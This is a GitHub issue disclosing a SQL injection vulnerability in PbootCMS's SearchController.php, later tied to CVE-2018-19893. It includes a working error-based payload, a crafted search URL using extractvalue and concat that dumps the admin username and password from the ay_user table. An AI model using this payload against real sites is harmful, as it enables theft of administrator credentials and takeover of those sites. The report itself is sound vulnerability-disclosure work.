Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Pbootcms SQL injection in SearchController.php #3

Open
ricew4ng opened this issue Dec 4, 2018 · 1 comment
Open

Pbootcms SQL injection in SearchController.php #3

ricew4ng opened this issue Dec 4, 2018 · 1 comment

Comments

@ricew4ng
Copy link

ricew4ng commented Dec 4, 2018

The default database is sqlite. For testing convenience, we need to replace the default database with the mysql database.
the mysql database directory:
Pbootcms-master\static\backup\sql\20180720164810_pbootcms.sql

SQL injection happened in this page.

payload:
http://127.0.0.1:89/index.php/Search/index.html?keyword=1&if(1>0,(select/**/1/**/and/**/extractvalue(1,concat(0x7e,(SELECT/**/concat(0x23,username,0x3a,password,0x23)/**/FROM/**/ay_user/**/limit/**/0,1),0x7e))),'3'));%23=1

and we can get the admin account name and password

@OS-WS
Copy link

OS-WS commented Dec 30, 2020

Hi, is there a fix for CVE-2018-19893 ?

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

2 participants